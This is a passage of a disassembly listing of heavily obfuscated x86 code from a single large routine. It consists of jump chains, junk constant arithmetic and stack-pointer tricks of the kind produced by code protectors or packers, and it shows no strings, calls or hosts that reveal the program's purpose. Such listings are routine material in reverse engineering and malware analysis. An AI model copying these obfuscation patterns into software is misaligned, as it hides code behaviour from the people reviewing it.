; ---------------------------------------------------------------------------


loc_5A3743:				; CODE XREF: sub_58A891+1D3D5j
		inc	edi
		push	ebp
		mov	ebp, 0DDD1008Eh
		sub	edi, ebp
		jmp	loc_5B0CA0
; ---------------------------------------------------------------------------


loc_5A3751:				; CODE XREF: sub_58A891+1FC82j
		push	esi
		mov	esi, 89AD3912h
		xor	ebp, esi
		pop	esi
		sub	ebx, ebp
		pop	ebp
		add	ebx, 63207002h
		push	ebp
		push	esi
		mov	esi, 16B31332h
		push	eax
		push	75937B1Dh
		jmp	loc_59EA34
; ---------------------------------------------------------------------------


loc_5A3775:				; CODE XREF: sub_58A891+22B41j
		dec	byte ptr [esp+32h+var_34+2]
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A377E:				; CODE XREF: sub_58A891+1A86Aj
		shl	eax, cl
		jmp	loc_5AEB1F
; ---------------------------------------------------------------------------


loc_5A3785:				; CODE XREF: sub_58A891+15C83j
		xor	ebx, edi
		pop	edi
		mov	esi, [esp+0CEh+var_CE]
		push	edi
		jmp	loc_59D201
; ---------------------------------------------------------------------------


loc_5A3791:				; CODE XREF: sub_58A891+210B5j
		pop	ecx
		mov	eax, ecx
		jmp	loc_5B0F99
; ---------------------------------------------------------------------------


loc_5A3799:				; CODE XREF: sub_58A891+13E55j
		mov	[esp+0A0h+var_A2+2], edx
		jmp	loc_59DE09
; ---------------------------------------------------------------------------


loc_5A37A1:				; CODE XREF: sub_58A891+27231j
		add	edx, ebp
		pop	ebp
		push	edx
		push	[esp+0A0h+var_9E+2]
		pop	edx
		jmp	loc_5A42A7
; ---------------------------------------------------------------------------


loc_5A37AF:				; CODE XREF: sub_58A891+143EFj
		mov	[esp+96h+var_98+2], ecx
		jmp	loc_5A581D
; ---------------------------------------------------------------------------


loc_5A37B7:				; CODE XREF: sub_58A891+16209j
					; sub_58A891+269DEj
		jmp	loc_5A2922
; ---------------------------------------------------------------------------


loc_5A37BC:				; CODE XREF: sub_58A891+25C0Fj
		shl	eax, 5
		sub	eax, 7BAF12A1h
		jnz	loc_5A3467
		push	edx
		jmp	loc_5A0301
; ---------------------------------------------------------------------------
		and	ebx, 77572C70h
		pop	edi


loc_5A37D7:				; CODE XREF: sub_58A891+1FB45j
		pop	esp
		jmp	loc_5B0640
; ---------------------------------------------------------------------------


loc_5A37DD:				; CODE XREF: sub_58A891+12FB4j
		sub	esp, 4
		mov	[esp+0A4h+var_A6+2], edx
		mov	edx, 294762D7h
		dec	edx
		xor	edx, 3D8E64D7h
		jmp	loc_59C04A
; ---------------------------------------------------------------------------


loc_5A37F4:				; CODE XREF: sub_58A891+1CDBBj
		add	esp, 4
		mov	edx, [esp+0A0h+var_A2+2]
		add	esp, 4
		neg	edi
		jnz	loc_5B2720
		xor	edi, 0DBF8B258h
		push	edi
		jmp	loc_5AA406
; ---------------------------------------------------------------------------


loc_5A3811:				; CODE XREF: sub_58A891+14FAAj
					; sub_58A891+158BAj
		mov	edi, [esp+46h+var_48+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+46h+var_48+2], esi
		jmp	loc_5A75AD
; ---------------------------------------------------------------------------


loc_5A3828:				; CODE XREF: sub_58A891+207E8j
					; sub_58A891+20A8Fj
		jnp	loc_59FB78
		sub	esi, 0B1205h
		push	esi
		sub	[esp+4Ah+var_4C+2], 61695D31h
		mov	eax, [esp+4Ah+var_4C+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+4Eh+var_50+2]
		mov	esp, [esp+4Eh+var_50+2]
		add	eax, 61695D31h
		jmp	loc_5A50FA
; ---------------------------------------------------------------------------


loc_5A385E:				; CODE XREF: sub_58A891+118AEj
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+26h+var_28+2]
		mov	esp, [esp+26h+var_28+2]
		mov	[esp+26h+var_28+2], eax
		push	ebx
		jmp	loc_59CE93
; ---------------------------------------------------------------------------


loc_5A3879:				; CODE XREF: sub_58A891+17515j
					; sub_58A891+22D46j
		xor	edx, eax
		pop	eax
		push	ecx
		mov	ecx, 23BF5520h
		jmp	loc_5ABF16
; ---------------------------------------------------------------------------


loc_5A3887:				; CODE XREF: sub_58A891+1FAB3j
		add	esi, 4
		add	esi, 4
		jmp	loc_5B22E3
; ---------------------------------------------------------------------------


loc_5A3895:				; CODE XREF: sub_58A891+14013j
		add	edi, ecx
		jmp	loc_5B106F
; ---------------------------------------------------------------------------


loc_5A389C:				; CODE XREF: sub_58A891+16364j
		sub	edi, 76E94A08h
		add	edi, 4B753884h
		mov	ebp, edi
		push	[esp+16h+var_18+2]
		pop	edi
		add	esp, 4
		jmp	loc_5A3AFD
; ---------------------------------------------------------------------------


loc_5A38B9:				; CODE XREF: sub_58A891+13937j
		shl	eax, 2
		js	loc_5AFF54
		xor	eax, 3D0A5A11h
		jo	loc_59CB64
		and	eax, 41E83AB2h
		jmp	loc_59D05A
; ---------------------------------------------------------------------------


loc_5A38D7:				; CODE XREF: sub_58A891+24B03j
		push	edx
		jmp	loc_5B10F0
; ---------------------------------------------------------------------------


loc_5A38DD:				; CODE XREF: sub_58A891+13642j
		mov	edi, [esp+1Ah+var_1C+2]
		add	esp, 4
		mov	edx, [esp+16h+var_18+2]
		add	esp, 4
		add	edx, 4
		jmp	loc_5B1115
; ---------------------------------------------------------------------------


loc_5A38FA:				; CODE XREF: sub_58A891+21573j
		add	edi, 3082DF88h
		mov	ebp, edi
		pop	edi
		jmp	loc_5A7D49
; ---------------------------------------------------------------------------


loc_5A3908:				; CODE XREF: sub_58A891+1A3DAj
		mov	ch, 21h
		sub	al, ch
		pop	ecx
		add	al, dl
		jmp	loc_5A84D0
; ---------------------------------------------------------------------------


loc_5A3914:				; CODE XREF: sub_58A891+1B791j
		add	ebp, 6B9E417h
		add	eax, ebp
		pop	ebp
		add	eax, 0EE09FDA8h
		or	[edi+1Ch], eax
		jmp	loc_59FA91
; ---------------------------------------------------------------------------


loc_5A392A:				; CODE XREF: sub_58A891+269A4j
		mov	ecx, 6100BCABh
		sub	esi, ecx
		pop	ecx
		jmp	loc_5A8380
; ---------------------------------------------------------------------------


loc_5A3937:				; CODE XREF: sub_58A891+24DDAj
		pop	edi
		add	edi, 4
		jmp	loc_59DA80
; ---------------------------------------------------------------------------


loc_5A3943:				; CODE XREF: sub_58A891+11CDCj
		push	[esp+4Ah+var_4C+2]
		jmp	loc_5A94B9
; ---------------------------------------------------------------------------


loc_5A394B:				; CODE XREF: sub_58A891+1985Dj
		sub	ecx, edx
		pop	edx
		add	ecx, edi
		jmp	loc_5AB291
; ---------------------------------------------------------------------------


loc_5A3955:				; CODE XREF: sub_58A891+11954j
		sub	esp, 4
		mov	[esp+22h+var_24+2], esi
		mov	esi, 18932599h
		jmp	loc_5B088C
; ---------------------------------------------------------------------------


loc_5A3968:				; CODE XREF: sub_58A891+134F8j
		jz	loc_5A78ED
		add	ebp, 2D7D720Ah
		jmp	loc_5A6249
; ---------------------------------------------------------------------------


loc_5A3979:				; CODE XREF: sub_58A891+22C8Dj
		pop	edx
		push	0A32h
		mov	[esp+0B6h+var_B6], edx
		jmp	loc_5AA32A
; ---------------------------------------------------------------------------


loc_5A3987:				; CODE XREF: sub_58A891+20BDCj
		sub	edx, edi
		mov	edi, [esp+0B6h+var_B6]
		add	esp, 4
		add	edx, eax
		add	edx, 40B954D4h
		push	esi
		mov	esi, 358C1A2Dh
		add	edx, esi
		mov	esi, [esp+0B6h+var_B6]
		add	esp, 4
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A39AA:				; CODE XREF: sub_58A891+23D40j
		mov	ah, 0E8h
		jmp	loc_5AE09A
; ---------------------------------------------------------------------------


loc_5A39B1:				; CODE XREF: sub_58A891+2391Bj
		add	ebp, 4
		jmp	loc_5B2241
; ---------------------------------------------------------------------------


loc_5A39B9:				; CODE XREF: sub_58A891+13CB5j
		pop	edi
		xor	edi, 396A68A1h
		sub	esp, 4
		jmp	loc_5A2FD9
; ---------------------------------------------------------------------------


loc_5A39CB:				; CODE XREF: sub_58A891+1E4B8j
		pop	ebp
		pop	[esp+4Ah+var_4C+2]
		jmp	loc_5A21EE
; ---------------------------------------------------------------------------


loc_5A39D4:				; CODE XREF: sub_58A891:loc_5AD36Aj
		add	ecx, 3845057Eh
		jo	loc_5AC24F
		xor	ecx, 0EA065628h
		jmp	loc_5A0B44
; ---------------------------------------------------------------------------
		or	al, 69h
		pop	ebp


loc_5A39EE:				; CODE XREF: sub_58A891+1B064j
		mov	esi, 4
		jmp	loc_5AF779
; ---------------------------------------------------------------------------


loc_5A39F8:				; CODE XREF: sub_58A891+2725Fj
		push	eax
		mov	al, 34h
		xor	ch, al
		pop	eax
		add	al, 54h
		add	al, 18h
		sub	al, ch
		sub	al, 18h
		sub	al, 54h
		mov	ecx, [esp+42h+var_44+2]
		add	esp, 4
		jmp	loc_5AA253
; ---------------------------------------------------------------------------


loc_5A3A13:				; CODE XREF: sub_58A891+17FCDj
		pop	ebx
		push	72D5h
		mov	[esp+0B6h+var_B6], ebp
		jmp	loc_5AFA53
; ---------------------------------------------------------------------------


loc_5A3A21:				; CODE XREF: sub_58A891+18248j
		dec	ebp
		jo	loc_59DD88
		inc	ebp
		jmp	loc_5A7943
; ---------------------------------------------------------------------------


loc_5A3A2E:				; CODE XREF: sub_58A891+20A9Ej
					; sub_58A891+26299j
		mov	eax, ebx
		jmp	loc_5B101F
; ---------------------------------------------------------------------------


loc_5A3A35:				; CODE XREF: sub_58A891+1F0F4j
		mov	esi, ebp
		pop	ebp
		add	ebx, esi
		jmp	loc_59C9E1
; ---------------------------------------------------------------------------


loc_5A3A3F:				; CODE XREF: sub_58A891+20373j
		add	esp, 4
		pop	edi
		xchg	ebp, [esp+0A6h+var_A6]
		pop	esp
		xor	edi, 5E111BA3h
		jnz	loc_59D535
		jmp	loc_5A7F1E
; ---------------------------------------------------------------------------
		push	esp
		jmp	loc_5A2DD0
; ---------------------------------------------------------------------------
		add	al, 0D0h
		push	edi
		push	1DAEh
		mov	[esp+0AEh+var_AE], edx
		push	3Ch
		pop	edx
		push	edi
		jmp	loc_5A8DFB
; ---------------------------------------------------------------------------


loc_5A3A75:				; CODE XREF: sub_58A891+27D8Cj
		mov	[esp+0B2h+var_B2], edx
		push	ebx
		add	[esp+0B6h+var_B6], 7AED47C4h
		pop	edx
		jmp	loc_5A969A
; ---------------------------------------------------------------------------


loc_5A3A86:				; CODE XREF: sub_58A891+24554j
		sub	ecx, 0CEDCAF42h
		or	edx, ecx
		mov	ecx, [esp+0B2h+var_B2]
		add	esp, 4
		xor	edx, 0C02F84Dh
		and	ecx, edx
		pop	edx
		xor	ecx, 520431BAh
		add	eax, ecx
		mov	ecx, [esp+0AAh+var_AA]
		add	esp, 4
		pop	ebp
		jmp	loc_5AC359
; ---------------------------------------------------------------------------


loc_5A3AB7:				; CODE XREF: sub_58A891+1A521j
		mov	[esp+0A2h+var_A2], ebx
		push	edx
		mov	dl, cl
		mov	bh, dl
		jmp	loc_5AFA4C
; ---------------------------------------------------------------------------


loc_5A3AC4:				; CODE XREF: sub_58A891+23014j
					; sub_58A891+25AF7j
		push	309Ah
		mov	[esp+0AAh+var_AA], esi
		jmp	loc_5A411D
; ---------------------------------------------------------------------------


loc_5A3AD1:				; CODE XREF: sub_58A891+1868Aj
		mov	ecx, [esp+0]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_5B2A38
; ---------------------------------------------------------------------------


loc_5A3AE2:				; CODE XREF: sub_58A891+17903j
		add	ecx, 53087977h
		sub	ecx, 25EF4A10h
		jmp	loc_5AA1D9
; ---------------------------------------------------------------------------


loc_5A3AF3:				; CODE XREF: sub_58A891:loc_5A5CB3j
		push	edx
		mov	dl, 1
		sub	cl, dl
		jmp	loc_5AC16C
; ---------------------------------------------------------------------------


loc_5A3AFD:				; CODE XREF: sub_58A891+19023j
		or	edi, ebp
		mov	ebp, [esp+12h+var_14+2]
		add	esp, 4
		neg	edi
		jl	loc_5A6440
		sub	edi, 0A92B10CCh
		inc	edi
		sub	edi, 7CDB54C4h
		push	esi


loc_5A3B1E:				; CODE XREF: sub_58A891+25517j
		push	28C7h
		mov	[esp+16h+var_18+2], esp
		add	[esp+16h+var_18+2], 4
		mov	ecx, [esp+16h+var_18+2]
		add	esp, 4
		jmp	loc_5AAA2D
; ---------------------------------------------------------------------------


loc_5A3B35:				; CODE XREF: sub_58A891+24C82j
		sub	ecx, 37387829h
		add	ecx, edi
		add	ecx, 37387829h
		push	esi
		mov	esi, 7E4B638Ah
		shl	esi, 6
		jnz	loc_5A95F4
		shl	esi, 5
		js	loc_5AC4FD
		mov	ebx, eax


loc_5A3B5D:				; CODE XREF: sub_58A891+1211Bj
		mov	edx, eax
		mov	edi, edx
		pop	edx
		mov	eax, [esp+12h+var_14+2]
		add	esp, 4
		xor	edi, 254B0186h
		shl	edi, 6
		push	32FAh
		mov	[esp+12h+var_14+2], ebx
		jmp	loc_59E2DD
; ---------------------------------------------------------------------------


loc_5A3B7E:				; CODE XREF: sub_58A891+2213Cj
		add	esp, 4
		add	esp, 4
		push	0C1Bh
		mov	[esp+0Eh+var_10+2], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_59C68D
; ---------------------------------------------------------------------------


loc_5A3BA2:				; CODE XREF: sub_58A891+18CFBj
		sub	ecx, 1
		jmp	loc_5A88EB
; ---------------------------------------------------------------------------


loc_5A3BAA:				; CODE XREF: sub_58A891+249C6j
		xor	[esp+4Eh+var_50+2], edi
		xor	edi, [esp+4Eh+var_50+2]
		mov	esp, [esp+4Eh+var_50+2]
		movzx	ecx, al
		sub	esp, 4
		mov	[esp+52h+var_54+2], edx
		sub	esp, 4
		push	esp
		pop	[esp+5Ah+var_5C+2]
		push	edi
		mov	edi, 4
		jmp	loc_59DECF
; ---------------------------------------------------------------------------


loc_5A3BD1:				; CODE XREF: sub_58A891+16891j
		xor	ecx, [esp+78h+var_78]
		mov	esp, [esp+78h+var_78]
		jmp	loc_5A9DD9
; ---------------------------------------------------------------------------


loc_5A3BDC:				; CODE XREF: sub_58A891+1856Fj
		xor	ebp, 119860ACh
		xor	ebp, 756D0466h
		sub	edx, ebp
		mov	ebp, [esp+46h+var_48+2]
		jmp	loc_5A4317
; ---------------------------------------------------------------------------


loc_5A3BF2:				; CODE XREF: sub_58A891+132C7j
		sub	ecx, 4
		xchg	ecx, [esp+1Ah+var_1C+2]
		pop	esp
		jmp	loc_59C0C9
; ---------------------------------------------------------------------------


loc_5A3BFE:				; CODE XREF: sub_58A891+24D49j
		sub	esp, 4
		jmp	loc_5A339F
; ---------------------------------------------------------------------------


loc_5A3C09:				; CODE XREF: sub_58A891+23D7Fj
		shl	edx, 6
		jnp	loc_5AF8FE
		xor	edx, 7F5320C2h
		xor	eax, edx
		mov	edx, [esp+1Ah+var_1C+2]
		or	al, 0AAh


loc_5A3C20:				; CODE XREF: sub_58A891+18B11j
		add	[esp+1Ah+var_1C+2], 4
		mov	ebx, [esp+1Ah+var_1C+2]
		add	esp, 4
		jmp	loc_59D92D
; ---------------------------------------------------------------------------


loc_5A3C32:				; CODE XREF: sub_58A891+27C87j
		add	edx, 4
		jmp	loc_5AEAE1
; ---------------------------------------------------------------------------


loc_5A3C3D:				; CODE XREF: sub_58A891+12B01j
		sub	ecx, 499F7605h
		jmp	loc_5AC844
; ---------------------------------------------------------------------------


loc_5A3C48:				; CODE XREF: sub_58A891+1DA23j
		push	esi
		mov	esi, 221737B3h
		jmp	loc_5A9045
; ---------------------------------------------------------------------------


loc_5A3C53:				; CODE XREF: sub_58A891+1E641j
		mov	esi, 4CAB2286h
		sub	ecx, esi
		pop	esi
		mov	ebp, [esp+22h+var_24+2]
		jmp	loc_5AB29E
; ---------------------------------------------------------------------------


loc_5A3C63:				; CODE XREF: sub_58A891+27E82j
		add	eax, 5149479Dh
		add	edi, eax
		jmp	loc_59DF5D
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+26h+var_28+2]
		pop	esp
		mov	[esp+22h+var_24+2], esi
		jmp	loc_5B1AA9
; ---------------------------------------------------------------------------


loc_5A3C87:				; CODE XREF: sub_58A891+1D421j
		dec	eax
		neg	eax
		add	eax, 0FC0E39B7h
		add	ebp, eax
		pop	eax
		add	ebp, 0B2176D2h
		sub	ebp, 6180933h
		jmp	loc_5A0E03
; ---------------------------------------------------------------------------


loc_5A3CA3:				; CODE XREF: sub_58A891+19831j
		push	ecx
		mov	ecx, 77605009h
		push	esi
		mov	esi, ecx
		mov	ebp, esi
		pop	esi
		pop	ecx
		inc	ebp
		add	ebp, 4FBE5215h
		and	ebp, 3B668C4h
		jmp	loc_5A1633
; ---------------------------------------------------------------------------


loc_5A3CC2:				; CODE XREF: sub_58A891+22DFAj
		mov	[esp+1Eh+var_20+2], ebp
		push	esi
		push	eax
		mov	eax, 454B26D5h
		neg	eax
		xor	eax, 6C070999h
		shl	eax, 3
		push	ebp
		mov	ebp, 23F2401Eh
		add	ebp, 7603950Ah
		xor	eax, ebp
		pop	ebp
		mov	esi, eax
		mov	eax, [esp+26h+var_28+2]
		add	esp, 4
		mov	ebp, 4BFB779Ah
		xor	ebp, esi
		pop	esi
		xor	ebp, 59FF5D59h
		add	ebp, 0C1908785h
		jmp	loc_5A5C28
; ---------------------------------------------------------------------------


loc_5A3D06:				; CODE XREF: sub_58A891+21B33j
		sub	eax, 2E607B16h
		and	eax, 6E987ED2h
		sub	eax, 0D4E7DFE4h
		sub	esi, eax
		pop	eax
		jmp	loc_5A749D
; ---------------------------------------------------------------------------


loc_5A3D1D:				; CODE XREF: sub_58A891+1B20Ej
		sub	[esp+1Ah+var_1C+2], eax
		pop	eax
		add	eax, 50BA7AF5h
		add	eax, 5C134552h
		jmp	loc_5A7BF5
; ---------------------------------------------------------------------------


loc_5A3D30:				; CODE XREF: sub_58A891+17802j
		mov	[esp+0B0h+var_B2+2], ecx
		push	ebx
		push	edx
		jmp	loc_5B0D99
; ---------------------------------------------------------------------------


loc_5A3D3A:				; CODE XREF: sub_58A891+244F1j
		mov	esp, [esp+0B8h+var_BA+2]
		imul	cl
		movzx	cx, ah
		jmp	loc_5A7CB7
; ---------------------------------------------------------------------------


loc_5A3D48:				; CODE XREF: sub_58A891+11CBEj
					; sub_58A891+14850j
		push	ecx
		mov	cl, 5Dh
		mov	al, 8Eh
		xor	al, cl
		pop	ecx
		add	al, 3
		sub	al, dh
		sub	al, 3
		pop	edx
		or	al, 0D0h
		shr	al, 4
		shr	al, 5
		not	al
		jmp	loc_5A63C2
; ---------------------------------------------------------------------------


loc_5A3D66:				; CODE XREF: sub_58A891+180ACj
		pop	eax
		jmp	loc_5B265E
; ---------------------------------------------------------------------------


loc_5A3D6C:				; CODE XREF: sub_58A891:loc_59BFDBj
		add	ebp, 0CC87F2DEh
		mov	esi, ebp
		jmp	loc_59DEF9
; ---------------------------------------------------------------------------


loc_5A3D79:				; CODE XREF: sub_58A891+25474j
		push	edx
		mov	dh, bh
		mov	al, dh
		pop	edx
		not	al
		mov	bh, al
		pop	eax
		not	bh
		jmp	loc_5A48C4
; ---------------------------------------------------------------------------


loc_5A3D8B:				; CODE XREF: sub_58A891+26D8Ej
		sub	ecx, ebx
		push	ebp
		mov	ebp, 0E0206D9h
		jmp	loc_5A3E8B
; ---------------------------------------------------------------------------


loc_5A3D98:				; CODE XREF: sub_58A891+17C6Ej
					; sub_58A891+24802j
		add	edi, 4
		add	edi, 4
		jmp	loc_5A9E82
; ---------------------------------------------------------------------------


loc_5A3DA9:				; CODE XREF: sub_58A891+1F145j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+52h+var_54+2]
		jmp	loc_5AD82A
; ---------------------------------------------------------------------------


loc_5A3DC0:				; CODE XREF: sub_58A891+16EB0j
		shl	ebx, 5
		xor	ebx, 0C9433404h
		mov	edx, ebx
		pop	ebx
		sub	ecx, 64763755h
		add	ecx, edx
		add	ecx, 64763755h
		jmp	loc_5AA907
; ---------------------------------------------------------------------------


loc_5A3DDF:				; CODE XREF: sub_58A891+15951j
		jmp	loc_5AE5D0
; ---------------------------------------------------------------------------


loc_5A3DE4:				; CODE XREF: sub_58A891+20268j
		mov	edx, edi
		pop	edi
		and	eax, edx
		mov	edx, [esp+12h+var_14+2]
		sub	esp, 4
		jmp	loc_5AEF8C
; ---------------------------------------------------------------------------


loc_5A3DF7:				; CODE XREF: sub_58A891:loc_5A78E8j
		shr	esi, 7
		add	esi, 0FF70FDF4h
		jmp	loc_5A0132
; ---------------------------------------------------------------------------


loc_5A3E05:				; CODE XREF: sub_58A891+1AD21j
		add	esp, 4
		sub	edi, 757114E6h
		sub	edi, edx
		add	edi, 757114E6h
		pop	edx
		push	7FFh
		mov	[esp+12h+var_14+2], edi
		push	[esp+12h+var_10+2]
		pop	edi
		pop	[esp+12h+var_14+2]
		mov	esp, [esp+0Eh+var_10+2]
		mov	[esp+0Eh+var_10+2], eax
		jmp	loc_5A4D8B
; ---------------------------------------------------------------------------


loc_5A3E35:				; CODE XREF: sub_58A891:loc_5A70EAj
		push	ebx
		mov	bh, 0FCh
		xchg	ah, bh
		jmp	loc_5A8E5C
; ---------------------------------------------------------------------------


loc_5A3E3F:				; CODE XREF: sub_58A891+1DD73j
		mov	edx, [esp+12h+var_14+2]
		add	esp, 4
		jmp	loc_5B18F7
; ---------------------------------------------------------------------------


loc_5A3E4A:				; CODE XREF: sub_58A891+1F9DEj
		xor	edx, [esp+0Eh+var_10+2]
		xor	[esp+0Eh+var_10+2], edx
		jmp	loc_59CA40
; ---------------------------------------------------------------------------


loc_5A3E55:				; CODE XREF: sub_58A891+15474j
		pop	esp
		bt	[esp+22h+var_24+2], eax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A3E60:				; CODE XREF: sub_58A891+21CC8j
		add	ebp, 4
		jmp	loc_59F462
; ---------------------------------------------------------------------------
		mov	eax, [esp+26h+var_28+2]
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], eax
		sub	esp, 4
		mov	[esp+2Eh+var_30+2], esp
		sub	esp, 4
		jmp	loc_59E55C
; ---------------------------------------------------------------------------


loc_5A3E8B:				; CODE XREF: sub_58A891+19502j
		add	ecx, ebp
		pop	ebp
		push	eax
		mov	eax, 1AA10F0h
		sub	ecx, eax
		pop	eax
		pop	ebx
		push	ebx
		mov	ebx, 73952A74h
		shr	ebx, 8
		not	ebx
		sub	ebx, 963DECDBh
		add	ecx, ebx
		pop	ebx
		push	760Ch
		mov	[esp+32h+var_34+2], edi
		push	ebp
		mov	ebp, 0E47918C1h
		mov	edi, ebp
		pop	ebp
		sub	ecx, 23850E15h
		add	ecx, edi
		add	ecx, 23850E15h
		jmp	loc_5A270D
; ---------------------------------------------------------------------------
		push	ecx
		jmp	loc_5AA2F4
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+36h+var_38+2]
		jmp	loc_5A5FA4
; ---------------------------------------------------------------------------


loc_5A3EDF:				; CODE XREF: sub_58A891+27EE5j
		add	eax, ecx
		pop	ecx
		xchg	eax, [esp+32h+var_34+2]
		pop	esp
		jmp	loc_5B1813
; ---------------------------------------------------------------------------


loc_5A3EEB:				; CODE XREF: sub_58A891+22D58j
		pop	esi
		or	edi, 3712A8Ah
		sub	edi, 0FFFFFFFFh
		jmp	loc_5A7EC6
; ---------------------------------------------------------------------------


loc_5A3EFA:				; CODE XREF: sub_58A891+16DC2j
		inc	ebx
		jno	loc_5ACB82
		xor	ebx, 0D924DBD7h
		mov	esi, ebx
		jmp	loc_59F673
; ---------------------------------------------------------------------------
		mov	cl, dl


loc_5A3F10:				; CODE XREF: sub_58A891+1E4A8j
		pop	edx
		jmp	loc_5A0B6E
; ---------------------------------------------------------------------------


loc_5A3F16:				; CODE XREF: sub_58A891+21404j
		add	ebx, ecx
		jmp	loc_5A909C
; ---------------------------------------------------------------------------


loc_5A3F1D:				; CODE XREF: sub_58A891+18525j
		shl	ecx, 3
		jns	loc_5A32CD
		add	ecx, 92CCCE1Fh
		jmp	loc_5B0639
; ---------------------------------------------------------------------------


loc_5A3F31:				; CODE XREF: sub_58A891+1EA52j
		neg	ah
		sub	ah, 0FFh
		inc	ah
		xor	ah, 0BAh
		sub	ah, 4Eh
		xor	cl, ah
		pop	eax
		sub	bl, cl
		pop	ecx
		movzx	eax, al
		push	small 3328h
		jmp	loc_59ED9F
; ---------------------------------------------------------------------------


loc_5A3F50:				; CODE XREF: sub_58A891+2728Aj
		xor	esi, edi
		pop	edi
		push	ecx
		push	edi
		push	2F183139h
		jmp	loc_5A52CE
; ---------------------------------------------------------------------------


loc_5A3F5F:				; CODE XREF: sub_58A891+12E57j
		inc	byte ptr [esp+1Eh+var_20+2]
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A3F68:				; CODE XREF: sub_58A891+1397Bj
		sub	edx, 0FFFFFFFFh
		jmp	loc_5AC112
; ---------------------------------------------------------------------------


loc_5A3F70:				; CODE XREF: sub_58A891+1FDBDj
		xchg	ecx, [esp+3Eh+var_40+2]
		pop	esp
		shr	ecx, 2
		push	edx
		push	esp
		mov	edx, [esp+42h+var_44+2]
		add	esp, 4
		jmp	loc_59D357
; ---------------------------------------------------------------------------


loc_5A3F87:				; CODE XREF: sub_58A891+200D3j
		sub	esp, 4
		mov	[esp+42h+var_44+2], ebx
		jmp	loc_5A9ADB
; ---------------------------------------------------------------------------


loc_5A3F92:				; CODE XREF: sub_58A891+2398Cj
		push	edx
		mov	dh, 77h
		mov	al, dh
		jmp	loc_5A4255
; ---------------------------------------------------------------------------


loc_5A3F9C:				; CODE XREF: sub_58A891+261AEj
		pop	edi
		push	eax
		mov	eax, 4
		sub	edi, 4F1C3E16h
		jmp	loc_5B119E
; ---------------------------------------------------------------------------


loc_5A3FAE:				; CODE XREF: sub_58A891+21C3Cj
		push	77A72EF2h
		pop	eax
		add	eax, 99322D88h
		jmp	loc_5B2D0D
; ---------------------------------------------------------------------------


loc_5A3FBE:				; CODE XREF: sub_58A891+1474Cj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0C6h+var_C6]
		pop	esp
		push	73B0h
		jmp	loc_59FCCC
; ---------------------------------------------------------------------------


loc_5A3FDB:				; CODE XREF: sub_58A891+25255j
		push	ebx
		jmp	loc_5A82F7
; ---------------------------------------------------------------------------


loc_5A3FE1:				; CODE XREF: sub_58A891+2537Fj
		push	ecx
		mov	ecx, 36F5839h
		jmp	loc_5A311E
; ---------------------------------------------------------------------------


loc_5A3FEC:				; CODE XREF: sub_58A891+24118j
		add	esp, 4
		add	ebx, 265B665Dh
		sub	ebx, ebp
		sub	ebx, 265B665Dh
		pop	ebp
		xor	ebx, [esp+0C6h+var_C6]
		xor	[esp+0C6h+var_C6], ebx
		xor	ebx, [esp+0C6h+var_C6]
		mov	esp, [esp+0C6h+var_C6]
		jmp	loc_5A1B61
; ---------------------------------------------------------------------------


loc_5A400F:				; CODE XREF: sub_58A891+1768Bj
		mov	[esp+0DAh+var_DA], ebx
		mov	ebx, 20503C12h
		shl	ebx, 1
		push	edx
		push	edi
		mov	edi, 22344319h
		add	edi, 1A1E5040h
		shl	edi, 6
		jp	loc_5A7160
		jmp	loc_5AF346
; ---------------------------------------------------------------------------


loc_5A4034:				; CODE XREF: sub_58A891+203C4j
		sub	edi, ebp
		sub	edi, 20F80637h
		pop	ebp
		mov	ecx, edi
		mov	edi, [esp+0DEh+var_DE]
		jmp	loc_5A4A0C
; ---------------------------------------------------------------------------


loc_5A4047:				; CODE XREF: sub_58A891+1C07Dj
		push	esi
		jmp	loc_59DF2A
; ---------------------------------------------------------------------------


loc_5A404D:				; CODE XREF: sub_58A891+269EAj
		dec	edi
		jl	loc_5AFAF9
		jmp	loc_5AC577
; ---------------------------------------------------------------------------


loc_5A4059:				; CODE XREF: sub_58A891+1637Ej
		add	eax, 1FBA0E14h
		xor	ebp, eax
		push	[esp+36h+var_38+2]
		pop	eax
		jmp	loc_5A1B93
; ---------------------------------------------------------------------------


loc_5A4069:				; CODE XREF: sub_58A891+16998j
		push	4C195037h
		pop	ebp
		or	ebp, 12180631h
		sub	ebp, 5E195636h
		mov	esi, ebp
		pop	ebp
		sub	eax, 43D503EAh
		sub	eax, esi
		add	eax, 43D503EAh
		pop	esi
		shl	eax, 1
		jp	loc_5A8934
		push	ecx
		jmp	loc_5B1AC7
; ---------------------------------------------------------------------------


loc_5A4099:				; CODE XREF: sub_58A891+15203j
		mov	eax, [esp+1Ah+var_1C+2]
		add	esp, 4
		add	esp, 4
		jmp	loc_59EAC8
; ---------------------------------------------------------------------------


loc_5A40A7:				; CODE XREF: sub_58A891+14905j
		mov	[esp+0EEh+var_F0+2], ecx
		mov	ecx, 6C930E6Ah
		sub	eax, ecx
		mov	ecx, [esp+0EEh+var_F0+2]
		add	esp, 4
		add	eax, ebx
		push	0EB9h
		mov	[esp+0EEh+var_F0+2], ebx
		push	ebp
		jmp	loc_5A3CA3
; ---------------------------------------------------------------------------


loc_5A40C7:				; CODE XREF: sub_58A891+17B25j
		xchg	edi, [esp+0C6h+var_C6]
		mov	esp, [esp+0C6h+var_C6]
		mov	[esp+0C6h+var_C6], ebx
		sub	esp, 4
		push	734Bh
		mov	[esp+0CEh+var_CE], esp
		push	esi
		jmp	loc_5AE29B
; ---------------------------------------------------------------------------


loc_5A40E1:				; CODE XREF: sub_58A891+25E12j
		mov	edx, 21AD025Ah
		not	edx
		xor	edx, 0D6B4EE9Bh
		jmp	loc_5A394B
